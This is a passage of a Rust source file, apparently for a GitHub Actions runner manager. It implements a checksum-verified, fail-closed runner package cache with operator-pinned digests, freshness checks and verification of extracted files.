906            source,
907        })?;
908        file.sync_all().await.map_err(|source| PackageError::Io {
909            what: "sync the package download file",
910            path: destination.to_path_buf(),
911            source,
912        })?;
913        Ok(written)
914    }
915}
916
917// ---------------------------------------------------------------------------
918// Pinned digests
919// ---------------------------------------------------------------------------
920
921/// Digests the operator has independently confirmed, keyed by version.
922///
923/// This is the *only* way a package with no published checksum is ever
924/// installed. It is a deliberate, named, per-version act by an operator — not a
925/// switch that turns verification off — which is the difference
926/// `05-infrastructure.md` draws between "require an operator-pinned digest" and
927/// "skip the check".
928#[derive(Debug, Clone, Default, PartialEq, Eq)]
929pub struct PinnedDigests(BTreeMap<RunnerVersion, Sha256Hex>);
930
931impl PinnedDigests {
932    #[must_use]
933    pub fn new() -> Self {
934        Self::default()
935    }
936
937    /// Pin `digest` for `version`.
938    ///
939    /// # Errors
940    /// [`PackageError::UnrecognisedVersion`] or
941    /// [`PackageError::MalformedDigest`] when either value is not well formed.
942    pub fn pin(mut self, version: &str, digest: &str) -> Result<Self, PackageError> {
943        self.0
944            .insert(RunnerVersion::parse(version)?, Sha256Hex::parse(digest)?);
945        Ok(self)
946    }
947
948    #[must_use]
949    pub fn get(&self, version: &RunnerVersion) -> Option<&Sha256Hex> {
950        self.0.get(version)
951    }
952
953    #[must_use]
954    pub fn is_empty(&self) -> bool {
955        self.0.is_empty()
956    }
957}
958
959// ---------------------------------------------------------------------------
960// Freshness
961// ---------------------------------------------------------------------------
962
963/// When a cached package stops being good enough.
964#[derive(Debug, Clone, Copy, PartialEq, Eq)]
965pub struct Freshness {
966    /// How far behind the latest release a cached entry may fall.
967    pub window: Elapsed,
968    /// How often the published version is re-checked.
969    pub check_interval: Elapsed,
970}
971
972impl Default for Freshness {
973    fn default() -> Self {
974        Self {
975            window: Elapsed::days(FRESHNESS_WINDOW_DAYS),
976            check_interval: Elapsed::hours(CHECK_INTERVAL_HOURS),
977        }
978    }
979}
980
981// ---------------------------------------------------------------------------
982// InstalledPackage
983// ---------------------------------------------------------------------------
984
985/// What an extracted package must hold, read from the archive whose digest was
986/// verified rather than from the tree it was unpacked into.
987///
988/// Kept in this process's memory and nowhere else. The tree belongs to the
989/// account jobs run as, so a record on disk could be rewritten along with it, and
990/// the published digest covers the archive, not the tree. So a tree this process
991/// did not unpack has no contents to check against, and is downloaded again.
992#[derive(Debug, PartialEq, Eq)]
993pub struct PackageContents {
994    entries: BTreeMap<PathBuf, ExpectedEntry>,
995}
996
997#[derive(Debug, Clone, PartialEq, Eq)]
998enum ExpectedEntry {
999    File {
1000        size: u64,
1001        sha256: [u8; 32],
1002        executable: bool,
1003    },
1004    Directory {
1005        executable: bool,
1006    },
1007    Symlink {
1008        target: PathBuf,
1009    },
1010}
1011
1012/// How a tree differs from its [`PackageContents`]: a closed set, because what
1013/// is in the tree is whatever a job wrote there, and this reaches the log.
1014#[derive(Debug, Clone, Copy, PartialEq, Eq)]
1015pub enum ContentsMismatch {
1016    /// An entry the archive holds is not there.
1017    Missing,
1018    /// An entry differs from the archive.
1019    Modified,
1020    /// An entry the archive does not hold is there.
1021    Unexpected,
1022    /// An entry could not be read.
1023    Unreadable,
1024}
1025
1026impl ContentsMismatch {
1027    /// A fixed word for the log.
1028    #[must_use]
1029    pub const fn as_str(self) -> &'static str {
1030        match self {
1031            Self::Missing => "missing",
1032            Self::Modified => "modified",
1033            Self::Unexpected => "unexpected",
1034            Self::Unreadable => "unreadable",
1035        }
1036    }
1037}
1038
1039/// At most this many threads hash one tree: preparation already runs a bounded
1040/// number of launches at once.
1041const VERIFY_THREADS: usize = 4;
1042
1043/// Whether the extraction policy leaves a thing with this published mode executable.
1044fn marked_executable(is_directory: bool, published: Option<u32>) -> bool {
1045    intended_mode(is_directory, published).is_some_and(|mode| mode & 0o100 != 0)
1046}
1047
1048fn extract_err(error: impl fmt::Display) -> PackageError {
1049    PackageError::Extract {
1050        detail: error.to_string(),
1051    }
1052}
1053
1054/// A file's SHA-256 and how many bytes it held.
1055fn hash_reader(mut reader: impl Read, buffer: &mut [u8]) -> io::Result<(u64, [u8; 32])> {
1056    let mut hasher = Sha256::new();
1057    let mut size = 0_u64;
1058    loop {
1059        match reader.read(buffer)? {
1060            0 => return Ok((size, hasher.finalize().into())),
1061            read => {
1062                hasher.update(&buffer[..read]);
1063                size += read as u64;
1064            }
1065        }
1066    }
1067}
1068
1069impl PackageContents {
1070    /// Reads what `archive` holds: the very bytes whose digest was verified.
1071    fn of_archive(archive: &[u8], kind: ArchiveKind) -> Result<Self, PackageError> {
1072        let mut entries = BTreeMap::new();
1073        let mut buffer = vec![0_u8; 256 * 1024];
1074        match kind {
1075            ArchiveKind::Zip => {
1076                let mut zip =
1077                    zip::ZipArchive::new(io::Cursor::new(archive)).map_err(extract_err)?;
1078                for index in 0..zip.len() {
1079                    let mut entry = zip.by_index(index).map_err(extract_err)?;
1080                    let Some(relative) = entry.enclosed_name().as_deref().and_then(normalised)
1081                    else {
1082                        continue;
1083                    };
1084                    let expected = if entry.is_dir() {
1085                        ExpectedEntry::Directory {
1086                            executable: marked_executable(true, entry.unix_mode()),
1087                        }
1088                    } else {
1089                        let executable = marked_executable(false, entry.unix_mode());
1090                        let (size, sha256) =
1091                            hash_reader(&mut entry, &mut buffer).map_err(extract_err)?;
1092                        ExpectedEntry::File {
1093                            size,
1094                            sha256,
1095                            executable,
1096                        }
1097                    };
1098                    entries.insert(relative, expected);
1099                }
1100            }
1101            ArchiveKind::TarGz => {
1102                let mut tar = tar::Archive::new(flate2::read::GzDecoder::new(archive));
1103                let mut links = Vec::new();
1104                for entry in tar.entries().map_err(extract_err)? {
1105                    let mut entry = entry.map_err(extract_err)?;
1106                    let path = entry.path().map_err(extract_err)?.into_owned();
1107                    let Some(relative) = normalised(&path) else {
1108                        continue;
1109                    };
1110                    let kind = entry.header().entry_type();
1111                    let mode = entry.header().mode().map_err(extract_err)?;
1112                    let target = entry
1113                        .link_name()
1114                        .map_err(extract_err)?
1115                        .map(std::borrow::Cow::into_owned);
1116                    let expected = match (kind, target) {
1117                        (tar::EntryType::Directory, _) => ExpectedEntry::Directory {
1118                            executable: marked_executable(true, Some(mode)),
1119                        },
1120                        (tar::EntryType::Symlink, Some(target)) => {
1121                            ExpectedEntry::Symlink { target }
1122                        }
1123                        // Holds what its target holds, which may come later.
1124                        (tar::EntryType::Link, Some(target)) => {
1125                            links.push((relative, target));
1126                            continue;
1127                        }
1128                        _ => {
1129                            let (size, sha256) =
1130                                hash_reader(&mut entry, &mut buffer).map_err(extract_err)?;
1131                            ExpectedEntry::File {
1132                                size,
1133                                sha256,
1134                                executable: marked_executable(false, Some(mode)),
1135                            }
1136                        }
1137                    };
1138                    entries.insert(relative, expected);
1139                }
1140                for (relative, target) in links {
1141                    let held = normalised(&target).and_then(|target| entries.get(&target).cloned());
1142                    let held = held.ok_or_else(|| {
1143                        extract_err("a hard link names an entry the archive does not hold")
1144                    })?;
1145                    entries.insert(relative, held);
1146                }
1147            }
1148        }
1149        // A directory the archive only implies, by holding something inside it.
1150        let implied: Vec<PathBuf> = entries
1151            .keys()
1152            .flat_map(|path| path.ancestors().skip(1))
1153            .filter(|ancestor| !ancestor.as_os_str().is_empty())
1154            .map(Path::to_path_buf)
1155            .collect();
1156        for directory in implied {
1157            entries
1158                .entry(directory)
1159                .or_insert(ExpectedEntry::Directory { executable: false });
1160        }
1161        Ok(Self { entries })
1162    }
1163
1164    /// Adds a file this agent wrote into the tree itself.
1165    fn add_file(&mut self, relative: &Path, bytes: &[u8]) {
1166        self.entries.insert(
1167            relative.to_path_buf(),
1168            ExpectedEntry::File {
1169                size: bytes.len() as u64,
1170                sha256: Sha256::digest(bytes).into(),
1171                executable: false,
1172            },
1173        );
1174    }
1175
1176    /// Whether `root` holds exactly this and nothing else, top-level entries
1177    /// `ignored` answers yes for aside, reading every file. Off the async thread:
1178    /// on the package's ~9,000 files this takes up to seconds.
1179    ///
1180    /// # Errors
1181    /// The first difference found.
1182    pub fn verify(
1183        &self,
1184        root: &Path,
1185        ignored: impl Fn(&std::ffi::OsStr) -> bool,
1186    ) -> Result<(), ContentsMismatch> {
1187        let mut seen = 0_usize;
1188        let mut files = Vec::new();
1189        let mut pending = vec![root.to_path_buf()];
1190        while let Some(directory) = pending.pop() {
1191            let listing = fs::read_dir(&directory).map_err(|_| ContentsMismatch::Unreadable)?;
1192            for entry in listing {
1193                let entry = entry.map_err(|_| ContentsMismatch::Unreadable)?;
1194                let path = entry.path();
1195                let relative = path.strip_prefix(root).unwrap_or(&path);
1196                if directory == root && ignored(&entry.file_name()) {
1197                    continue;
1198                }
1199                let expected = self
1200                    .entries
1201                    .get(relative)
1202                    .ok_or(ContentsMismatch::Unexpected)?;
1203                seen += 1;
1204                // Of the entry itself: a link is never followed.
1205                let metadata = entry.metadata().map_err(|_| ContentsMismatch::Unreadable)?;
1206                let kind = metadata.file_type();
1207                match expected {
1208                    ExpectedEntry::Directory { executable } if kind.is_dir() => {
1209                        check_executable(&metadata, *executable)?;
1210                        pending.push(path);
1211                    }
1212                    ExpectedEntry::Symlink { target } if kind.is_symlink() => {
1213                        let held =
1214                            fs::read_link(&path).map_err(|_| ContentsMismatch::Unreadable)?;
1215                        if held != *target {
1216                            return Err(ContentsMismatch::Modified);
1217                        }
1218                    }
1219                    ExpectedEntry::File {
1220                        size,
1221                        sha256,
1222                        executable,
1223                    } if kind.is_file() => {
1224                        if metadata.len() != *size {
1225                            return Err(ContentsMismatch::Modified);
1226                        }
1227                        check_executable(&metadata, *executable)?;
1228                        files.push((path, *size, *sha256));
1229                    }
1230                    _ => return Err(ContentsMismatch::Modified),
1231                }
1232            }
1233        }
1234        if seen != self.entries.len() {
1235            return Err(ContentsMismatch::Missing);
1236        }
1237        hash_all(&files)
1238    }
1239}
1240
1241/// `path` relative to the archive's root; `None` for the root itself, and for
1242/// anything that climbs out, which extraction refuses.
1243fn normalised(path: &Path) -> Option<PathBuf> {
1244    let mut relative = PathBuf::new();
1245    for component in path.components() {
1246        match component {
1247            Component::CurDir => {}
1248            Component::Normal(name) => relative.push(name),
1249            _ => return None,
1250        }
1251    }
1252    (!relative.as_os_str().is_empty()).then_some(relative)
1253}
1254
1255/// Whether what must be executable is. The only difference the extraction policy
1256/// keeps ([`policy_mode`]), and all that a copy on a filesystem with fixed modes,
1257/// such as a WSL drive, can be asked for.
1258fn check_executable(metadata: &fs::Metadata, executable: bool) -> Result<(), ContentsMismatch> {
1259    #[cfg(unix)]
1260    {
1261        use std::os::unix::fs::PermissionsExt as _;
1262        if executable && metadata.permissions().mode() & 0o100 == 0 {
1263            return Err(ContentsMismatch::Modified);
1264        }
1265    }
1266    #[cfg(not(unix))]
1267    let _ = (metadata, executable);
1268    Ok(())
1269}
1270
1271/// Opens `path` for reading, if it is still a regular file. It was one when the
1272/// tree was walked, and a concurrent job may have swapped it since: for a FIFO, an
1273/// open or a read would wait for ever and hold a preparation turn.
1274fn open_regular(path: &Path) -> io::Result<fs::File> {
1275    let mut options = fs::OpenOptions::new();
1276    options.read(true);
1277    #[cfg(unix)]
1278    {
1279        use std::os::unix::fs::OpenOptionsExt as _;
1280        options.custom_flags(libc::O_NOFOLLOW | libc::O_NONBLOCK);
1281    }
1282    #[cfg(windows)]
1283    {
1284        use std::os::windows::fs::OpenOptionsExt as _;
1285        // FILE_FLAG_OPEN_REPARSE_POINT: the link itself, which is then no file.
1286        options.custom_flags(0x0020_0000);
1287    }
1288    let file = options.open(path)?;
1289    if file.metadata()?.is_file() {
1290        Ok(file)
1291    } else {
1292        Err(io::Error::other("not a regular file"))
1293    }
1294}
1295
1296/// Hashes `files` on a few threads, stopping at the first that differs.
1297fn hash_all(files: &[(PathBuf, u64, [u8; 32])]) -> Result<(), ContentsMismatch> {
1298    use std::sync::atomic::{AtomicUsize, Ordering};
1299
1300    let threads = std::thread::available_parallelism()
1301        .map_or(1, std::num::NonZero::get)
1302        .clamp(1, VERIFY_THREADS);
1303    let next = AtomicUsize::new(0);
1304    let failure = Mutex::new(None);
1305    let work = || {
1306        let mut buffer = vec![0_u8; 256 * 1024];
1307        let failed = || {
1308            failure
1309                .lock()
1310                .unwrap_or_else(std::sync::PoisonError::into_inner)
1311        };
1312        while failed().is_none() {
1313            let Some((path, size, expected)) = files.get(next.fetch_add(1, Ordering::Relaxed))
1314            else {
1315                return;
1316            };
1317            // One byte past its size is enough to tell, however much it grew.
1318            let outcome = open_regular(path)
1319                .and_then(|file| hash_reader(file.take(size + 1), &mut buffer))
1320                .map_err(|_| ContentsMismatch::Unreadable)
1321                .and_then(|(read, actual)| {
1322                    if read == *size && actual == *expected {
1323                        Ok(())
1324                    } else {
1325                        Err(ContentsMismatch::Modified)
1326                    }
1327                });
1328            if let Err(mismatch) = outcome {
1329                *failed() = Some(mismatch);
1330            }
1331        }
1332    };
1333    std::thread::scope(|scope| {
1334        // More help when threads can be had. This one does the work regardless, so
1335        // a job exhausting them can slow verification and not skip it.
1336        for _ in 1..threads {
1337            let _ = std::thread::Builder::new().spawn_scoped(scope, work);
1338        }
1339        work();
1340    });
1341    failure
1342        .into_inner()
1343        .unwrap_or_else(std::sync::PoisonError::into_inner)
1344        .map_or(Ok(()), Err)
1345}
1346
1347/// One immutable entry in the cache.
1348#[derive(Debug, Clone, PartialEq, Eq)]
1349pub struct InstalledPackage {
1350    version: RunnerVersion,
1351    root: PathBuf,
1352    installed_at: Timestamp,
1353    digest: Sha256Hex,
1354    /// What it holds, when this call unpacked it. See [`PackageContents`].
1355    contents: Option<Arc<PackageContents>>,
1356}
1357
1358impl InstalledPackage {
1359    #[must_use]
1360    pub fn version(&self) -> &RunnerVersion {
1361        &self.version
1362    }
1363
1364    /// The extracted package directory.
1365    ///
1366    /// **Read-only to the caller.** Every JIT runtime is a copy or a link from
1367    /// here (`05-infrastructure.md`), so a write into this directory reaches
1368    /// every runtime created afterwards. See the module documentation's seam
1369    /// contract, and [`Self::contents`] for what catches one.
1370    #[must_use]
1371    pub fn root(&self) -> &Path {
1372        &self.root
1373    }
1374
1375    /// When this entry landed. The freshness deadline runs from here — see
1376    /// [`PackageCache::is_stale`] for why install time is the honest proxy for
1377    /// the moment the version was superseded.
1378    #[must_use]
1379    pub const fn installed_at(&self) -> Timestamp {
1380        self.installed_at
1381    }
1382
1383    /// The digest that was verified before extraction.
1384    #[must_use]
1385    pub const fn digest(&self) -> &Sha256Hex {
1386        &self.digest
1387    }
1388
1389    /// What it must hold, read from its verified archive: only when the call
1390    /// that returned this unpacked it.
1391    #[must_use]
1392    pub fn contents(&self) -> Option<Arc<PackageContents>> {
1393        self.contents.clone()
1394    }
1395}
1396
1397/// The on-disk manifest, written inside the staging directory so that it lands
1398/// with the entry in one rename.
1399#[derive(Debug, Clone, Serialize, Deserialize)]
1400struct Manifest {
1401    version: RunnerVersion,
1402    digest: Sha256Hex,
1403    installed_at: Timestamp,
1404    /// The published filename the entry was built from. Diagnostic only.
1405    filename: String,
1406}
1407
1408// ---------------------------------------------------------------------------
1409// PackageCache
1410// ---------------------------------------------------------------------------
1411
1412/// The ports [`PackageCache`] reaches the world through.
1413pub struct CachePorts {
1414    pub catalog: Arc<dyn DownloadCatalog>,
1415    pub fetcher: Arc<dyn PackageFetcher>,
1416    pub backoff: Arc<dyn Backoff>,
1417    pub clock: Arc<dyn Clock>,
1418}
1419
1420impl fmt::Debug for CachePorts {
1421    fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result {
1422        f.debug_struct("CachePorts")
1423            .field("catalog", &self.catalog)
1424            .field("fetcher", &self.fetcher)
1425            .field("backoff", &self.backoff)
1426            .field("clock", &self.clock)
1427            .finish()
1428    }
1429}
1430
1431/// When the published version was last checked: per cache, or shared by the
1432/// caches over one package directory.
1433#[derive(Debug, Clone, Default)]
1434pub struct LastCheck(Arc<Mutex<Option<Timestamp>>>);
1435
1436/// The versioned, immutable, checksum-verified runner package cache.
1437#[derive(Debug)]
1438pub struct PackageCache {
1439    root: PathBuf,
1440    tool_cache: PathBuf,
1441    os: Os,
1442    arch: Arch,
1443    ports: CachePorts,
1444    pins: PinnedDigests,
1445    freshness: Freshness,
1446    retry_budget: u32,
1447    /// When the published version was last resolved successfully.
1448    ///
1449    /// Held in memory rather than on disk on purpose: a restart forcing a
1450    /// re-check is the *correct* behaviour — the agent has no idea how long it
1451    /// was down — so persisting this would only buy the ability to skip a check
1452    /// that should not be skipped.
1453    last_check: LastCheck,
1454}
1455
1456impl PackageCache {
1457    /// Build a cache rooted under `paths`, for a host running `os`/`arch`.
1458    ///
1459    /// `os` and `arch` are parameters rather than probed here, following
1460    /// `d1`'s pattern: `runner_manager_platform::os::detect_host` is called once
1461    /// at the composition edge, and everything below takes the pair as a value.
1462    /// That is the whole injection seam — there is no host-probe trait — and it
1463    /// is what lets a Linux CI leg exercise the Windows selection path.
1464    #[must_use]
1465    pub fn new(paths: &AppPaths, os: Os, arch: Arch, ports: CachePorts) -> Self {
1466        Self {
1467            root: paths.state_dir().join(PACKAGES_DIR),
1468            tool_cache: paths.state_dir().join(TOOL_CACHE_DIR),
1469            os,
1470            arch,
1471            ports,
1472            pins: PinnedDigests::new(),
1473            freshness: Freshness::default(),
1474            retry_budget: RETRY_BUDGET,
1475            last_check: LastCheck::default(),
1476        }
1477    }
1478
1479    #[must_use]
1480    pub fn with_pins(mut self, pins: PinnedDigests) -> Self {
1481        self.pins = pins;
1482        self
1483    }
1484
1485    #[must_use]
1486    pub const fn with_freshness(mut self, freshness: Freshness) -> Self {
1487        self.freshness = freshness;
1488        self
1489    }
1490
1491    /// Shares when the published version was last checked with other caches.
1492    #[must_use]
1493    pub fn with_last_check(mut self, last_check: LastCheck) -> Self {
1494        self.last_check = last_check;
1495        self
1496    }
1497
1498    /// Override the retry budget. Zero is rejected in favour of one attempt,
1499    /// because a cache that never attempts anything is not a cache.
1500    #[must_use]
1501    pub const fn with_retry_budget(mut self, budget: u32) -> Self {
1502        self.retry_budget = if budget == 0 { 1 } else { budget };
1503        self
1504    }
1505
1506    /// The cache root. Nothing outside this module writes here.
1507    #[must_use]
1508    pub fn root(&self) -> &Path {
1509        &self.root
1510    }
1511
1512    /// Where approved tool caches are retained.
1513    ///
1514    /// A sibling of the package entries, not a child: an entry is immutable and
1515    /// a tool cache is by definition written to. Both are retained across
1516    /// attempts, and both are outside [`AppPaths::runtime_dir`], which is where
1517    /// disposable job workspaces live — that is the separation
1518    /// `05-infrastructure.md` asks for.
1519    #[must_use]
1520    pub fn tool_cache_dir(&self) -> &Path {
1521        &self.tool_cache
1522    }
1523
1524    // -- installation ------------------------------------------------------
1525
1526    /// Install the published package afresh, setting every entry aside first.
1527    ///
1528    /// For a caller that cannot trust what is on disk. An entry is owned by the
1529    /// account runners execute as, so a job can rewrite it, and the published
1530    /// digest covers the archive rather than the extracted tree, so an entry from
1531    /// before this process cannot be re-verified. What this returns was downloaded
1532    /// and checked against GitHub's digest by this call, with its
1533    /// [`PackageContents`], and it is the only entry left. The entries set aside are removed once it returns.
1534    ///
1535    /// The install is forced: an entry that reappears at the published
1536    /// version's path while this runs, as one a job recreated would, is set
1537    /// aside in turn rather than adopted.
1538    ///
1539    /// # Errors
1540    /// Those of [`Self::ensure_installed`], and an I/O failure setting an entry
1541    /// aside. Either way the cache may now be empty, which the next launch's
1542    /// install repairs.
1543    pub async fn reinstall(&self) -> Result<InstalledPackage, PackageError> {
1544        let staging_root = self.staging_root();
1545        create_dir_all(&staging_root)?;
1546        let mut set_aside = Vec::new();
1547        // Not only what reads as an entry: a job that removed a manifest left a
1548        // directory no entry can be committed over.
1549        for root in self.version_directories()? {
1550            set_aside.push(self.set_aside(&root)?);
1551        }
1552        let installed = self.install(true).await;
1553        // Removing ~9,000 files per tree is blocking work, kept off the
1554        // daemon's current-thread runtime. Not awaited: nothing depends on it,
1555        // and the caller has a new tree to fingerprint before a job touches it.
1556        tokio::task::spawn_blocking(move || drop(set_aside));
1557        installed.map(|(package, _)| package)
1558    }
1559
1560    /// Everything under the cache root but its own bookkeeping.
1561    fn version_directories(&self) -> Result<Vec<PathBuf>, PackageError> {
1562        let listing = match fs::read_dir(&self.root) {
1563            Ok(listing) => listing,
1564            Err(error) if error.kind() == io::ErrorKind::NotFound => return Ok(Vec::new()),
1565            Err(source) => {
1566                return Err(PackageError::Io {
1567                    what: "list the runner package cache",
1568                    path: self.root.clone(),
1569                    source,
1570                });
1571            }
1572        };
1573        let mut found = Vec::new();
1574        for entry in listing {
1575            let entry = entry.map_err(|source| PackageError::Io {
1576                what: "list the runner package cache",
1577                path: self.root.clone(),
1578                source,
1579            })?;
1580            if !entry.file_name().to_string_lossy().starts_with('.') {
1581                found.push(entry.path());
1582            }
1583        }
1584        Ok(found)
1585    }
1586
1587    /// Move `root` into staging, to be removed when the guard drops.
1588    fn set_aside(&self, root: &Path) -> Result<StagingGuard, PackageError> {
1589        let aside = self
1590            .staging_root()
1591            .join(format!("untrusted-{}", uuid::Uuid::new_v4()));
1592        fs::rename(root, &aside).map_err(|source| PackageError::Io {
1593            what: "set aside a runner package to reinstall it",
1594            path: root.to_path_buf(),
1595            source,
1596        })?;
1597        Ok(StagingGuard::new(aside))
1598    }
1599
1600    /// Make a verified runner package available, and answer which one.
1601    ///
1602    /// **This is the cold-start path.** It decides three things in order:
1603    ///
1604    /// 1. Is this host one the product documents? An undocumented pair is
1605    ///    refused here, before the catalog is consulted and long before
1606    ///    anything is downloaded.
1607    /// 2. Is a check due? The published version is re-checked on
1608    ///    [`Freshness::check_interval`], and always when the cache is empty. A
1609    ///    cold start inside that interval reuses what a previous one resolved,
1610    ///    which is what "a bounded interval" buys.
1611    /// 3. Is what we hold still good enough? See [`Self::is_stale`].
1612    ///
1613    /// # Errors
1614    /// Any [`PackageError`]. A terminal one is returned on the spot and spends
1615    /// none of the retry budget; a retryable one is retried up to
1616    /// [`Self::with_retry_budget`] times and then wrapped in
1617    /// [`PackageError::Exhausted`].
1618    pub async fn ensure_installed(&self) -> Result<InstalledPackage, PackageError> {
1619        self.ensure_installed_reporting()
1620            .await
1621            .map(|(package, _)| package)
1622    }
1623
1624    /// [`Self::ensure_installed`], and whether this call downloaded, verified
1625    /// and committed the entry it returns rather than finding one on disk.
1626    ///
1627    /// # Errors
1628    /// Those of [`Self::ensure_installed`].
1629    pub async fn ensure_installed_reporting(
1630        &self,
1631    ) -> Result<(InstalledPackage, bool), PackageError> {
1632        self.install(false).await
1633    }
1634
1635    /// The body of [`Self::ensure_installed`]; `force` skips every reuse of an
1636    /// entry already on disk, for [`Self::reinstall`].
1637    async fn install(&self, force: bool) -> Result<(InstalledPackage, bool), PackageError> {
1638        // Before the catalog, before the fetcher, before anything touches the
1639        // network: an unsupported pair has no package and never will.
1640        host_os::validate(self.os, self.arch)?;
1641
1642        if !force && let Some(entry) = self.reusable()? {
1643            return Ok((entry, false));
1644        }
1645
1646        let mut last: Option<PackageError> = None;
1647        for attempt in 1..=self.retry_budget {
1648            match self.install_once(force).await {
1649                Ok(package) => {
1650                    *self
1651                        .last_check
1652                        .0
1653                        .lock()
1654                        .unwrap_or_else(std::sync::PoisonError::into_inner) =
1655                        Some(self.ports.clock.now());
1656                    return Ok(package);
1657                }
1658                Err(error) if error.is_terminal() => return Err(error),
1659                Err(error) => {
1660                    last = Some(error);
1661                    if attempt < self.retry_budget {
1662                        self.ports.backoff.wait(attempt).await;
1663                    }
1664                }
1665            }
1666        }
1667        Err(PackageError::Exhausted {
1668            attempts: self.retry_budget,
1669            source: Box::new(last.expect("a spent budget leaves a failure behind")),
1670        })
1671    }
1672
1673    /// Whether a cached entry has fallen outside the freshness window.
1674    ///
1675    /// # Why install time, and why this is the fail-closed direction
1676    ///
1677    /// GitHub's rule is about the *release*: a runner more than
1678    /// [`FRESHNESS_WINDOW_DAYS`] days behind the latest one is refused. The
1679    /// agent cannot see release dates — GitHub's runner-downloads response
1680    /// carries no version field, let alone a publication timestamp — so the
1681    /// supersession moment has to be bounded rather than read.
1682    ///
1683    /// It can be bounded exactly. This cache only ever installs the version
1684    /// GitHub was publishing at the time, so an entry installed at `T` *was*
1685    /// the latest release at `T`. Whatever superseded it did so at some
1686    /// `R >= T`, hence `now - R <= now - T`. So:
1687    ///
1688    /// * `now - T <= window` proves `now - R <= window`: the entry cannot be
1689    ///   past the deadline, and reusing it is safe.
1690    /// * `now - T > window` proves nothing either way, so the entry is treated
1691    ///   as stale and refreshed.
1692    ///
1693    /// The error is therefore always toward refreshing early, never toward
1694    /// running a package GitHub will refuse. Refreshing early costs a download;
1695    /// refreshing late costs every job on the host, for a reason the operator
1696    /// has no way to guess.
1697    #[must_use]
1698    pub fn is_stale(&self, package: &InstalledPackage, now: Timestamp) -> bool {
1699        now.signed_duration_since(package.installed_at) > self.freshness.window
1700    }
1701
1702    /// The entry an install would return without asking anybody, if no check
1703    /// is due: it neither looks anything up nor changes anything.
1704    pub(crate) fn reusable(&self) -> Result<Option<InstalledPackage>, PackageError> {
1705        host_os::validate(self.os, self.arch)?;
1706        if self.check_is_due(self.ports.clock.now())? {
1707            return Ok(None);
1708        }
1709        self.newest_installed()
1710    }
1711
1712    /// Whether the published version is due to be re-checked.
1713    ///
1714    /// Three ways to answer yes, and the third is the one that matters:
1715    ///
1716    /// 1. The cache is empty, so there is nothing to reuse.
1717    /// 2. [`Freshness::check_interval`] has elapsed — the bounded interval
1718    ///    `05-infrastructure.md` asks for.
1719    /// 3. **What we hold is already past the freshness deadline.** A stale entry
1720    ///    forces a check on every cold start regardless of the interval, because
1721    ///    the interval exists to save REST budget and there is no budget worth
1722    ///    saving once the package on disk is one GitHub may refuse. The interval
1723    ///    being far shorter than the window makes this rare in practice; it is
1724    ///    written down so that the rare case is the safe one rather than the
1725    ///    unconsidered one.
1726    fn check_is_due(&self, now: Timestamp) -> Result<bool, PackageError> {
1727        let Some(newest) = self.newest_installed()? else {
1728            return Ok(true);
1729        };
1730        if self.is_stale(&newest, now) {
1731            return Ok(true);
1732        }
1733        let last = *self
1734            .last_check
1735            .0
1736            .lock()
1737            .unwrap_or_else(std::sync::PoisonError::into_inner);
1738        Ok(match last {
1739            None => true,
1740            Some(at) => now.signed_duration_since(at) >= self.freshness.check_interval,
1741        })
1742    }
1743
1744    /// One attempt: resolve, decide, and install if a download is warranted.
1745    async fn install_once(&self, force: bool) -> Result<(InstalledPackage, bool), PackageError> {
1746        let published = self.ports.catalog.published().await?;
1747
1748        // Selection: this host's OS and architecture, from GitHub's metadata.
1749        // `select` answering `None` is refused rather than fallen back from —
1750        // a hardcoded URL is the substitution `07-security.md` names as the
1751        // threat.
1752        let download =
1753            published
1754                .select(self.os, self.arch)
1755                .ok_or(PackageError::NoPackagePublished {
1756                    os: self.os,
1757                    arch: self.arch,
1758                })?;
1759        let version = RunnerVersion::from_filename(&download.filename)?;
1760
1761        // Already held: no fetch, no extraction, no rewrite.
1762        if !force && let Some(entry) = self.entry(&version)? {
1763            return Ok((entry, false));
1764        }
1765
1766        // A different version is published. Whether that warrants 150-300 MB is
1767        // the freshness question, and only that question.
1768        let now = self.ports.clock.now();
1769        if !force
1770            && let Some(newest) = self.newest_installed()?
1771            && !self.is_stale(&newest, now)
1772        {
1773            return Ok((newest, false));
1774        }
1775
1776        let digest = self.required_digest(download, &version)?;
1777        self.download_verify_and_install(download, &version, &digest, now, force)
1778            .await
1779    }
1780
1781    /// The digest that must match, or a refusal.
1782    ///
1783    /// This is the fail-closed gate. `sha256_checksum` is optional in GitHub's
1784    /// schema, and the only two acceptable outcomes when it is unusable are an
1785    /// operator-pinned digest or a refusal to install. There is no third.
1786    ///
1787    /// # Every unusable shape routes to the same remedy
1788    ///
1789    /// Absent, empty, and *malformed* are all "GitHub did not give me a digest
1790    /// I can check", and all three fall through to the pin. Malformed used to
1791    /// return immediately instead, which produced a refusal whose message told
1792    /// the operator to pin a digest — down a path where a pin was never
1793    /// consulted. A security refusal that names a remedy has to name one that
1794    /// works, or the operator does the work and watches it fail again.
1795    fn required_digest(
1796        &self,
1797        download: &RunnerDownload,
1798        version: &RunnerVersion,
1799    ) -> Result<Sha256Hex, PackageError> {
1800        let published = match download.sha256_checksum() {
1801            None => PublishedChecksum::Absent,
1802            Some(raw) if raw.trim().is_empty() => PublishedChecksum::Empty,
1803            Some(raw) => match Sha256Hex::parse(raw) {
1804                Ok(digest) => return Ok(digest),
1805                Err(_) => PublishedChecksum::Malformed,
1806            },
1807        };
1808        #[cfg(test)]
1809        if std::env::var("RUNNER_MANAGER_TEST_MUTANT").as_deref() == Ok("accept_missing_checksum") {
1810            return Sha256Hex::parse(&"00".repeat(32));
1811        }
1812        match self.pins.get(version) {
1813            Some(pinned) => Ok(pinned.clone()),
1814            None => Err(PackageError::ChecksumAbsent {
1815                version: version.clone(),
1816                os: self.os,
1817                arch: self.arch,
1818                published,
1819            }),
1820        }
1821    }
1822
1823    /// Fetch, verify, extract, commit. In that order, without exception.
1824    ///
1825    /// # Why the downloaded file is not inside the guarded staging directory
1826    ///
1827    /// [`StagingGuard`] covers the *extraction* directory from the point the
1828    /// archive has been verified and unpacked to the point the entry lands —
1829    /// the manifest write and the rename. It does **not** cover a fetch,
1830    /// verification or extraction failure: the guard is not constructed until
1831    /// after those succeed, so a half-unpacked tree from one of them is left
1832    /// for [`Self::sweep_staging`] rather than unwound here. That is a
1833    /// deliberately narrow reach, and stating it wider than it is would be the
1834    /// sort of claim a reader relies on and a crash disproves.
1835    ///
1836    /// Putting the download under that directory would have made "the partially
1837    /// downloaded file is removed" true for a reason no test could distinguish
1838    /// from tidying up — the guard would remove the archive on the paths it
1839    /// does cover, whether or not the mismatch path ever did, so deleting the
1840    /// removal would not turn any test red. The archive therefore lives
